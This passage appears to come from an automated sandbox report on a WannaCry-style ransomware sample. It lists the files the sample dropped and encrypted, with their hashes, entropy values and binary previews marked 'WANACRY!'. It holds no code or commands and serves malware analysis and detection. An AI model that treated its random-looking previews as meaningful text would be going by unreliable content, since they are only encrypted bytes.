                                                                                                                        Preview:.r..H.|.K.w..Q.._...Xd.0.{>.h.M....p..E..:$."...m}.s.G....l...~.)..l...L.....^.+..M.....t0.K..yDm..=F.=@"K..O..k^.P.2..%.Y..K...Z(.....7...P..W..GSO..,wO9......k.wNV.pCL3 A.C.ic...<.:....bs......*CT...q.m.0..`.A.Gd:.N....R....-.....C.\.....>.g.&K.fa.6;E..>}....vD...1.(...aUU9}...q@..<...y..o.......+..o..c.d!..H..V..#.~.N..3F,.F..}...........vl@.r.b3....0L...f........X..e...Tm...r....../....o.h...*.(..-y.4?.o'._......b.zG~.8..........P..Y(.%<....4..B...P..........d.......?..a#...P..X......m..G.A..f.nR..../.&...!.|i..Z|..%.....VP..YP..6...mK..`.&H..F....$..=..H....RPD..v..q=Z...x..F8W.kP.}....EB{:j..%.......@..85........Khs.....$.......<.....~.5.R...y...$.8..(M.k...s.....m.GW...g..G{...h._...'........?.D..j.......oeZ.....z.RQ..47..q=...9#..Y....V\..W..........0.[`._P..5.@.J....w.x..b>..@z/K.,.g..Af..#.......3$....5P.Dw./7...i0.a.b./.NeAO..9.Y..c.._....eX.).@..Y.W)...ap.C.jp....AG..m.....Nb..dI....RM.].L.*s........U.$|.>.<.l.....1..T..

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\MXPXCVPDVN.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.837367820465354
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkkPA8E7c+3bpHPm86WpOX6KTy5gXB3iQJbOnFsBl6VdYu1CDp7nk6Q4o:bkyecEhPmpq1gFiOb8Cn63YFgT4o
                                                                                                                        MD5:1F752C403BB995D2E779C4A4259C0453
                                                                                                                        SHA1:8913917AADD0C4E261B93B4784C0DDF0D9843E55
                                                                                                                        SHA-256:0847940BCCEF49C925A93431623856FD13F67135C1FAC568D5F6123BB58553AC
                                                                                                                        SHA-512:B6F656E24392D33D6E4895F475CF3CC11262CAAF5FF78F2A744ED8B1DEB31469FB743EC23336C9B6AFBBF32F1AF02E8214E2AC813692AE71A9966B0F32F2AFFE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......6\.a8.}.}p#.^^$........Mf.=.....V....I..]%....!4*..'+[.R.]..Y..I=...a...s..1...|.".kz._.a.C......Lx9I.d6~<.S.~:......L..b...}......_Z..<...e.....:*#.#..\....0.8......+.hc..X5....O&..h.".^u.f./....d....Z.....V7.'......}Pj.0<u.&^..&...>.)j..Mu..................N..a...h.i..*z...OOAy.......Y.(b*.W}.\jD..~..E...>!..+..l....,y...U.\...-.\,.........u.S.t:.....9z..QK..p7..<fq{..z<zV3.JK..c!|.=.~... .).lD.y..8.F/.h.&Jj.|..T...D?......o...0.ey-9.}.oA<....'....3r.e.#?..3..p'`.b.w.W...!"..nC...2..CIO.i.ND.R0;..6V.......,sx;...Ex.. S.dU;U<-T....zE.:..A$1.c....\$).Q...X}.X....+.U,Ze.O.w.}.....j0.U.....{a......R*f.v.F..A?.(6...uQ.y....es..e.3s....Q{..\..KQ.U.....uG.0....D../k....7.8`...r...T.`...... U..0..}...='.tn..\.2ejI.../+.jg.J.V..V.....k......)Be..z~BagU7Es...8...K..B.......#..w......6...]....q1..f.O.u.[....[s...B..o...q.@....#...........E......'..KN.O.._j..^4.f7.i....b.p.gM.s...\.....R....?.S.z.o..o^.....,...S.oj(...yN..4...p`...&..X../.6

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.837367820465354
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkkPA8E7c+3bpHPm86WpOX6KTy5gXB3iQJbOnFsBl6VdYu1CDp7nk6Q4o:bkyecEhPmpq1gFiOb8Cn63YFgT4o
                                                                                                                        MD5:1F752C403BB995D2E779C4A4259C0453
                                                                                                                        SHA1:8913917AADD0C4E261B93B4784C0DDF0D9843E55
                                                                                                                        SHA-256:0847940BCCEF49C925A93431623856FD13F67135C1FAC568D5F6123BB58553AC
                                                                                                                        SHA-512:B6F656E24392D33D6E4895F475CF3CC11262CAAF5FF78F2A744ED8B1DEB31469FB743EC23336C9B6AFBBF32F1AF02E8214E2AC813692AE71A9966B0F32F2AFFE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......6\.a8.}.}p#.^^$........Mf.=.....V....I..]%....!4*..'+[.R.]..Y..I=...a...s..1...|.".kz._.a.C......Lx9I.d6~<.S.~:......L..b...}......_Z..<...e.....:*#.#..\....0.8......+.hc..X5....O&..h.".^u.f./....d....Z.....V7.'......}Pj.0<u.&^..&...>.)j..Mu..................N..a...h.i..*z...OOAy.......Y.(b*.W}.\jD..~..E...>!..+..l....,y...U.\...-.\,.........u.S.t:.....9z..QK..p7..<fq{..z<zV3.JK..c!|.=.~... .).lD.y..8.F/.h.&Jj.|..T...D?......o...0.ey-9.}.oA<....'....3r.e.#?..3..p'`.b.w.W...!"..nC...2..CIO.i.ND.R0;..6V.......,sx;...Ex.. S.dU;U<-T....zE.:..A$1.c....\$).Q...X}.X....+.U,Ze.O.w.}.....j0.U.....{a......R*f.v.F..A?.(6...uQ.y....es..e.3s....Q{..\..KQ.U.....uG.0....D../k....7.8`...r...T.`...... U..0..}...='.tn..\.2ejI.../+.jg.J.V..V.....k......)Be..z~BagU7Es...8...K..B.......#..w......6...]....q1..f.O.u.[....[s...B..o...q.@....#...........E......'..KN.O.._j..^4.f7.i....b.p.gM.s...\.....R....?.S.z.o..o^.....,...S.oj(...yN..4...p`...&..X../.6

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\SQRKHNBNYN.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.806207913363271
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:jhHwtY/e9VP/6s5t7HcvgSEXarqVEI+TAdQWe1sPeZWTTjE:SOGviot7HWEVVH+6Qa1jE
                                                                                                                        MD5:0D4D90CA3F1481113E176112983223E4
                                                                                                                        SHA1:0E7E60FEF3CD539393B156F4B1D39F33A4358724
                                                                                                                        SHA-256:E1731B7E588B486526A30FEEF824600BFE383A5521B9C62B594F612DAA897221
                                                                                                                        SHA-512:8727C4182DE267ACA662DEB85D25182343A289C5A0EEC81623A43D268CC56589BE7ED3DED53B316F101E8C08E9A3071406AD92BF97F0C7F29580C347D0581397
                                                                                                                        Malicious:false
                                                                                                                        Preview:oUT..%........$kSv.....70..nC-..E..?S.{.s..$....].x.8.R....P......1....P....'....s.[#...:..o<.\....K...&Uy.>....jq!|..sn.....n....)^.Q..Mq.z...b.C....76.(5..v......z.O.yY..F.t/....5....Q_..."Fr.pa9 ..La....m.......h.7....\+..8....b....0.=n.d.Z.:.C.8g.."........'.@=.".). Ia.4..P*....._..<....,Z#}.H.].,.....A..L.P...V2oU..J.K.#.5......1{...4..n.d.....-..i..P...fNz..$..,^.|....P.0..4.0%@.K.r. ....U.C{..l..\.F.#......fQ....<C.....Ew.cs).}.9..1d.&$g^..>. ......D2.....;.....X..Bh`.F.!..R.y.RS..y..$...:J....G...<?..6..l....(R....WK.m..*.H.....Q......$..r.k...,..'.5...v......nY.(7.............C.|Z.7....LYc...V.B..........V......J"..g4.......!..T>...N...Br.pB.i).U..5.A\4...".?...".1...U...Qbe.;=....B.]..2..ki654....o:..D.Q.G...f.....wB.....5..g*..E\..>...#..>hG.........{..<Z...~.....o.U......YR.s.4"..o.(4..n..+...B:>.%.....8.}?+..T..f.*...L..a..Iq..y..c.FZa.v.d.}.J$..+..,.....9n.i...!V...6..aS%&Cq...}..<O5.}..-z..#.l@.W....l=..sA.qj.[......6.:..K.....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832715572701772
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzeQF/hx9qUWd3uGAfjqFpxwWfu5UOXCMRlXr1m7U4uSzVi8EUcdUp5zvS22XkA:bkzPF/b9qxd3YjqFsGu5bZdk3zzMFUYJ
                                                                                                                        MD5:6210E8A66F8F4306FF6A2AB17DBA9476
                                                                                                                        SHA1:FC57188D50232198B1781B6D8363B817A36F72B8
                                                                                                                        SHA-256:D4B655140FDCBBFBF9D0BC49F7B28D0031CAB69936BA2B08DDEB415A21D3CC53
                                                                                                                        SHA-512:1A19F6D8C18A232EE44EBCA8DBD0D8BC77F9001A0B5FA02B536B05E3B91206BF12B365CC8A0D5A8DB40C7202777BEE8C5EA1ABA3FD8814BD6712B9F2DD4AF283
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......)....c...S.Y....K.#_.M.e.H....O.pv..eI.`.,.a#?Y....q.\.6 .^x.t...s...`.L.,..!.[.&3P...:O.B...O....._:..q.*.fY......2..W....p.0...^.k..S.X5)....2.[.GX.2K.D.Ac"..V...w!.>BP...`[OQ..Y....&+.('f...c.T........6Q.E... )....5B.../2.X?..V.[..a~r....q?................."W..c...."....R5.....o...#...3...(.Yh[.3.Qm.[YS`......T.467..yH...m...d!.Q.K.-,.".g.#.... S..dt.8?...%.p......3....c.......k^.5.....\u....B$y'.".d..9...W]9....0X.........m...I.m..c0......../..h....."TM_ll..L..tT........O...+R.... @......g.B..=.....d.p.cp....nv....n..Uz2...>......o#.....0.t....nm.L..a....sO.....7I..#..:....fB.$.}...Z..6....p..Vgt#.s?.ys..k..<...4.g31P.....$...2.>&..<)Oi..%.l.&(..x..<.P5..8,.N...8.....];...1+6'$.>..&e...MQMq.h.FC.3..F.jz....6E....#......C..h..6......PB.....8.'B..m..t.{.XN.K.44.Q@.^2q..C....`...C.......E..t...Tm..pz!b.F{.Wl..U..Xn........'.[m..`..y...._v.KP...F.v...@.{3.w.'..ID0..^R..U...3....5.B...J......0..N.`@|.B.jt&h!5...e..=...2...5....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832715572701772
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzeQF/hx9qUWd3uGAfjqFpxwWfu5UOXCMRlXr1m7U4uSzVi8EUcdUp5zvS22XkA:bkzPF/b9qxd3YjqFsGu5bZdk3zzMFUYJ
                                                                                                                        MD5:6210E8A66F8F4306FF6A2AB17DBA9476
                                                                                                                        SHA1:FC57188D50232198B1781B6D8363B817A36F72B8
                                                                                                                        SHA-256:D4B655140FDCBBFBF9D0BC49F7B28D0031CAB69936BA2B08DDEB415A21D3CC53
                                                                                                                        SHA-512:1A19F6D8C18A232EE44EBCA8DBD0D8BC77F9001A0B5FA02B536B05E3B91206BF12B365CC8A0D5A8DB40C7202777BEE8C5EA1ABA3FD8814BD6712B9F2DD4AF283
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......)....c...S.Y....K.#_.M.e.H....O.pv..eI.`.,.a#?Y....q.\.6 .^x.t...s...`.L.,..!.[.&3P...:O.B...O....._:..q.*.fY......2..W....p.0...^.k..S.X5)....2.[.GX.2K.D.Ac"..V...w!.>BP...`[OQ..Y....&+.('f...c.T........6Q.E... )....5B.../2.X?..V.[..a~r....q?................."W..c...."....R5.....o...#...3...(.Yh[.3.Qm.[YS`......T.467..yH...m...d!.Q.K.-,.".g.#.... S..dt.8?...%.p......3....c.......k^.5.....\u....B$y'.".d..9...W]9....0X.........m...I.m..c0......../..h....."TM_ll..L..tT........O...+R.... @......g.B..=.....d.p.cp....nv....n..Uz2...>......o#.....0.t....nm.L..a....sO.....7I..#..:....fB.$.}...Z..6....p..Vgt#.s?.ys..k..<...4.g31P.....$...2.>&..<)Oi..%.l.&(..x..<.P5..8,.N...8.....];...1+6'$.>..&e...MQMq.h.FC.3..F.jz....6E....#......C..h..6......PB.....8.'B..m..t.{.XN.K.44.Q@.^2q..C....`...C.......E..t...Tm..pz!b.F{.Wl..U..Xn........'.[m..`..y...._v.KP...F.v...@.{3.w.'..ID0..^R..U...3....5.B...J......0..N.`@|.B.jt&h!5...e..=...2...5....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.822869991673585
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:xQRVbMKtGhE2J/I6u1dy3GJUB7jn7XNSZzeizXtmTXrGQPUwbZqW:xQRVftfLeQUtn7XQZzHwTblFbZV
                                                                                                                        MD5:4A854B1C51DDB2B4C8C604782B3E0BFD
                                                                                                                        SHA1:D6DB1ABB58FCED5E956E0C3EDE346A6E0526DA62
                                                                                                                        SHA-256:22CBB711D6CF91FE3E18F52AB6E90B7EC8C6146212F31FCD804C1E9D441651D5
                                                                                                                        SHA-512:8F7B769FCD2C3039FA20728609725B5A4EEF5E3109D1EA85CC2FE014B9FEA929B9693111F94CE47D11F98B041561A3C5D8B4C39A893863B9D381D8DF4DD59E1E
                                                                                                                        Malicious:true
                                                                                                                        Preview:E.\}v.. `.8r:.z.Z...5..V'WU......~......$?..aF.B.8..r.]&y?..\z!m%..9G/)..`......K....x.;......`.><w.....;.D....ZM.&.[1.B\...........2..d ....e..r%.k. e...?.c........=.....e%..y.%.3T.VW.6..D.....x....B[.l..E..'B@..J.3....9.]Z.*.M..tsS3..h.i9.....4.z"..m.H......o.L..p...V.\..8.c..}c..7...9H..P2..x..=.......0.>..je.!...[.....x%.,.uY6....1.....(D..@.pW.I.]/p.UE..h>Q..f7..Im..6.2...n...M_.BW.....V+...A=.(@.D..s.mpQ.J.{.P.y.....X....*m?.m.'......|m..Co..@cl.SJ.m._.Xx.].....ngY.....J.tl..Og.}.(h...?.w'....3%.si..Y.W..R.>...x~.........,.. .l...[.8N...\.d=..GI...Q...knk.......I...)..C......\..m......a#9.:A...H,..[?..O)>....tx..y=..VR.4W........a..(...m:.,.....GH.B..T.*d....]X....PW.........i3....M%iA:$......re..q..T.K.gwl...N....V^1...,.jl)N..{ 3.G..t.R.y...J.6.<...i.W<.;.T+.....-.L.....9.A.b..[V./....J....W..1.s....jX..).....f..n.c.....@.G...b\......=.!.u....N....b...../2$./.I..e.._..+..i_..I..&...S5.b..._.....#.eEB,C.8..m.m.....mV4.....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842933831721865
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkQP+yX0sEtUKj3OXn32waKv+4USlcw35PNWB/MDPgD51t:bkBapElrOnvaKlDJ3xNWaA57
                                                                                                                        MD5:A631FB8714C67C4438D9ACDFA5E96860
                                                                                                                        SHA1:9C0245D48091B213A63E77BD8E82E9EEED479CB1
                                                                                                                        SHA-256:17BBEA0F54F756A81A6D335AD25A26FDF09B9C45411FDAA5D9D6CB83F96AA336
                                                                                                                        SHA-512:1C9B13B774B8C8D4425D8C6DAA010F20EFB28C85F9F73705607CCA48FD78430A892750097D05303E006F432D128D18834B257637147D8CD7BEE848B10E8305EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....7...gm=8.R....r.c.7..7cs.8.n.g.m..MH0......<8...N..^.7U..q. KC....A.........d.......z@.J.o...Y.*..X.M.sW..v.p.H.!\.K..../....PUT...3-..+.|..HC....n..........6.5k0.s%..]...y..0-..@.r.9%9.S..&eG.n...M.........t.qB."6.D....ki.z{..3`'..g...0................{(`lK47..g"N.]j>=....]rTM(.I....!..XO.......Gq.E....vl.M.A.7..QxP.......W+y.....3...O.....N.. ...#-s.....U-..O....+.`....r).+....g#...}.f7<.9u...k.M=.....m..0F.H..i.5[.....Q......t.....k.S.Ps..\T8Ybd..6=9.[`....7.nd<...!B.......|...a./$G9C*....o....k.iK ;.x...t.`./.]s.Pm....G...~S.Y..!.4..4.;..@$..H@.~..............R.......m[6.^j.EWWJ....J.^..h.To'..8]|....(..m...=....xpe.......Ns...`....l.Cc.|w.....ul...3.|.....YGB.*'9..C..mT...I-(.B.. x+..k.J#.\LN........w;.&.8(.n.......b..'|R..o..iX.W.o...0.6.C......:..H(....MOd/g.5."L$.gB..)..7..H.W...~q........../8WF.(..n..y../.p.Z&1.q`...S....G..2B............=..?.7.J..%>i..Y..N..UUk...C.~.a......aK.F.u.i..4....x..j.I.@`.g..6.....i...

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842933831721865
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkQP+yX0sEtUKj3OXn32waKv+4USlcw35PNWB/MDPgD51t:bkBapElrOnvaKlDJ3xNWaA57
                                                                                                                        MD5:A631FB8714C67C4438D9ACDFA5E96860
                                                                                                                        SHA1:9C0245D48091B213A63E77BD8E82E9EEED479CB1
                                                                                                                        SHA-256:17BBEA0F54F756A81A6D335AD25A26FDF09B9C45411FDAA5D9D6CB83F96AA336
                                                                                                                        SHA-512:1C9B13B774B8C8D4425D8C6DAA010F20EFB28C85F9F73705607CCA48FD78430A892750097D05303E006F432D128D18834B257637147D8CD7BEE848B10E8305EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....7...gm=8.R....r.c.7..7cs.8.n.g.m..MH0......<8...N..^.7U..q. KC....A.........d.......z@.J.o...Y.*..X.M.sW..v.p.H.!\.K..../....PUT...3-..+.|..HC....n..........6.5k0.s%..]...y..0-..@.r.9%9.S..&eG.n...M.........t.qB."6.D....ki.z{..3`'..g...0................{(`lK47..g"N.]j>=....]rTM(.I....!..XO.......Gq.E....vl.M.A.7..QxP.......W+y.....3...O.....N.. ...#-s.....U-..O....+.`....r).+....g#...}.f7<.9u...k.M=.....m..0F.H..i.5[.....Q......t.....k.S.Ps..\T8Ybd..6=9.[`....7.nd<...!B.......|...a./$G9C*....o....k.iK ;.x...t.`./.]s.Pm....G...~S.Y..!.4..4.;..@$..H@.~..............R.......m[6.^j.EWWJ....J.^..h.To'..8]|....(..m...=....xpe.......Ns...`....l.Cc.|w.....ul...3.|.....YGB.*'9..C..mT...I-(.B.. x+..k.J#.\LN........w;.&.8(.n.......b..'|R..o..iX.W.o...0.6.C......:..H(....MOd/g.5."L$.gB..)..7..H.W...~q........../8WF.(..n..y../.p.Z&1.q`...S....G..2B............=..?.7.J..%>i..Y..N..UUk...C.~.a......aK.F.u.i..4....x..j.I.@`.g..6.....i...

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.79262356881554
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:7qUUo5vv88jpuJSOE87arPT8eS5TUOQfk6:7lnvvNT4erYH54jr
                                                                                                                        MD5:AEC9F9E0DDB76EA63D5B9927E91745CA
                                                                                                                        SHA1:A18E57A02F26FB69CF815E5645CB5A3D8AB8FA21
                                                                                                                        SHA-256:4E4F40F87B60AEB1A04A91A7B120565FD3BA40D29F7C3AA75ECFA81C7236E193
                                                                                                                        SHA-512:E6FEC7B143F019B0E87E898E5BCB7DF7D909BD948BF0452E48A14AF725C082A1314E5F5A7E9B9C3284FF963FB48359C1CA3F3DF27220012CB94514797E6F26D9
                                                                                                                        Malicious:false
                                                                                                                        Preview:.f.(.....3a..H..W..hE ...F.V...Y`.j.?.v.-*`....o.*....t=0....JLv5&+E...S,.<..a...mz+P...O....~..!.F...)....W....d;..8wj.\......)8....C.e...\K../..jk:.M0.B.l'..rBj.6..(........!f!0....F.,%_0L.x........W.....LP.G*....1..}*e/-..e...@P.&o.....D...1..].]>muk.*.m.YX.)...o..F.n.$..6U!8(.. ....o-..` ...]P..s.,g@...O....`Y..n.....F...X<5...gi...x..9...-&d.0._Y...U...l.(.../.1......#.cU^.E...L.+.")......:..C[`.......y.+.;w ^..0.m.O.|..K.%.....'...Z.../?..C....+.G.; .s...bB....]..?..sA.U.L$o.L...lc.....F/....X{x.{.o|.T.:........oGJ.9..M......&=...r.......B.={.i.LM.X..<...[.LE.m]j8,B...1.......+.H.j8..T..".......%O......-;.R..Wb.$..z..W4...c......j4...4.,...%St...T{"......TQ.8..e.t+9..=.Q./]S..";...M..t.Q....w0.].`f..+.....k}...a..h..t.+......,yG...T...{.8)%2..g...\.2N,l.S.)C.!.U3....D......S...d.i.BTg.0.).hE..O..?.<#.[..gx$..W...ph..w.u2.......a@T...X!.@-.&7.g2.....P..).U..*..&.!.L'..J.ewZ..ovM...{.:..k^.>2....L)..;.^.^iRnc....w...'.....R:(

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390203787141886
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkKQb5qf9DdA62pnCgZHWwL+3GIgOgv6W3HEYxRwyczpZSX9htkBFHo7yW1QOEC:bkjcVDdA60Cg5VCY7v6WXpxRYpIknW1n
                                                                                                                        MD5:91E5B00C51883494905EC86772A13069
                                                                                                                        SHA1:2A82376F22124D82E632792CB53A336E17DCF76E
                                                                                                                        SHA-256:A35A3BA85CB804CAE17202F4E4339E19A358E875BDD55CF3EFD62DFA35469E2B
                                                                                                                        SHA-512:866B3CBA8B2B102AD7CA31EB70B8C20BEAA47A761A3C5283E5580DDFDE47285CEA0B877A5830A561F52AC22D463223126E5C5A7390C9028B059BAC751FAA0906
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......{:....0-B...Y.....x"Y>.=....d..!...z..u......g....l.i.?%A....`...C......&...M.....&.m.iuLs.B..Z...u.....[.b.....z.B.a...5....H.B...XA!o`.......5.`mR.v..x.._......d@]7....CiR.2\.9...j...5....ld.......t*.C.h....f.....[...\.;3.H....N..J5..-.............nQ...i..S.p...[.3.%X#kc.._.0..L....0...y...{..O..(S.~..rzA.$.l.p7,..r.tk..<.......)3/.N.|..S....._.5Ud..y}...Y....7N....(]Y....q.......&..1...5.c}O.".KLj..._S........!..{Js..M.?.c]~P7..s.....v*.......CH....&..J.,..:.O+.'..t|.`.Z4...]|.Z.#"2.Q.^...m.E]../g..'N.A.Z.........}.6{.@g.H.......?T.U...|..XA.....@..e8!....+.....(.r....h.4....c.Q .y.Y..o..S.....-.....|.v..8..V$R..v.O.8.e[...6=)...>,..v.t.."b...c.|}o^.3.5..t....B,....N..,....+.5..*..<...]F...cx1.t;|....M..+....u%2X.4....a.........}..0.....!...mo.......4..q.Mf#.J...$...9....b...\.v.....;...SVXB.....A..3Em...y_.N O^.........!...HI.b..Y...8..}>.o..V.k..R8Q..=..DS.~...0I....3...!V..B_)....QBR.6n..;.2!..../..,j.....X

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8390203787141886
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkKQb5qf9DdA62pnCgZHWwL+3GIgOgv6W3HEYxRwyczpZSX9htkBFHo7yW1QOEC:bkjcVDdA60Cg5VCY7v6WXpxRYpIknW1n
                                                                                                                        MD5:91E5B00C51883494905EC86772A13069
                                                                                                                        SHA1:2A82376F22124D82E632792CB53A336E17DCF76E
                                                                                                                        SHA-256:A35A3BA85CB804CAE17202F4E4339E19A358E875BDD55CF3EFD62DFA35469E2B
                                                                                                                        SHA-512:866B3CBA8B2B102AD7CA31EB70B8C20BEAA47A761A3C5283E5580DDFDE47285CEA0B877A5830A561F52AC22D463223126E5C5A7390C9028B059BAC751FAA0906
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......{:....0-B...Y.....x"Y>.=....d..!...z..u......g....l.i.?%A....`...C......&...M.....&.m.iuLs.B..Z...u.....[.b.....z.B.a...5....H.B...XA!o`.......5.`mR.v..x.._......d@]7....CiR.2\.9...j...5....ld.......t*.C.h....f.....[...\.;3.H....N..J5..-.............nQ...i..S.p...[.3.%X#kc.._.0..L....0...y...{..O..(S.~..rzA.$.l.p7,..r.tk..<.......)3/.N.|..S....._.5Ud..y}...Y....7N....(]Y....q.......&..1...5.c}O.".KLj..._S........!..{Js..M.?.c]~P7..s.....v*.......CH....&..J.,..:.O+.'..t|.`.Z4...]|.Z.#"2.Q.^...m.E]../g..'N.A.Z.........}.6{.@g.H.......?T.U...|..XA.....@..e8!....+.....(.r....h.4....c.Q .y.Y..o..S.....-.....|.v..8..V$R..v.O.8.e[...6=)...>,..v.t.."b...c.|}o^.3.5..t....B,....N..,....+.5..*..<...]F...cx1.t;|....M..+....u%2X.4....a.........}..0.....!...mo.......4..q.Mf#.J...$...9....b...\.v.....;...SVXB.....A..3Em...y_.N O^.........!...HI.b..Y...8..}>.o..V.k..R8Q..=..DS.~...0I....3...!V..B_)....QBR.6n..;.2!..../..,j.....X

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.825240455546747
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:r/qryE6J7wxGNqrJqrTXyH+7xvGDpUP59o2v82DW7FPG5iaJ1W1Egx1O:rqDTGvHXyHkkp29rv8774iscNe
                                                                                                                        MD5:3A5369E8B92573C4ED306C0AC0552E3C
                                                                                                                        SHA1:E90BAB484CAFFCFE95475CA194AA6176119E7164
                                                                                                                        SHA-256:339B42D2083802044FFC9575738D2688D03608514822CBDA79D5FFA91835F8F3
                                                                                                                        SHA-512:554B4F09EE9BFFC11939413F1E00DC5D72BB558C5750184BB04C73430AB3E8F2261AFA4E44B7B0D1AF67633DD80B2DF889233FB2F28FA3886DE7603BC5174303
                                                                                                                        Malicious:false
                                                                                                                        Preview:/O...0..]4....^F@M.1DTV...N....b."....$..g.nS...m..q^.-....K...*[!......~i?..~.B.Q.^ ,..:...fqa...*G..C.M.../.=Ly..=...}.t.Tj.H,..0.K^M)~.i. .9....}o...f..p...6.<2...NH0...B3W...S.......X..K..YH@9...'.!.#'.H...3g..E.>...f.....e"......&.L}..<..Y...>..}.k..f.b....bD=...5........A...'C.0Sc.7].....i.u.f_.5.a...O.IR.....i.......h.x$..F.u..r......L..nw`.....>...I.q.5.w.@..G.Y.v.J ..0.......80...n.!...*~E...j.5..a.t..S..._.la&e>z..<..]....8.....wQ....:.@....h.|.^.......q..k.fQ...K..u.............78C.{.....{\l.}/.o/....{..&.K.O.,......!.....L..!.-..g&.h."...!...bN.lP.I..&pT.....C.G.&...G.....h~5./..}.[@N......9^.B/..1.)..C~..`.e0.....W...,.Q.Mp...!_[....y.....4z..l.......5...:.}D6.C..q.,a7.(..&O..]..b...Z./........3.. ;cP.<....^..KV..+..r.Y.e*4.\.Y8e.;p..].....F`.LJ.E7..%2...{.u.}K..L..;..1:.Km#G......sb.._...?Y...[..U)f..(...r_=e.5..W]...-xM........C.J.......u99....!........l...ZtDR..4...CY....4.!.6.N..r?tt.bW.Z...~.A7.O...b.Yy*...H...-&."..=...6

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8474313864367495
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAce63SIxeugOLOe2Ey2XFztN+k7JW6ht5XaTOb00L6sRLb+KY+upm71rRs9:bkjxevOjjy2JDl7JxY0LXiOuS1ds9
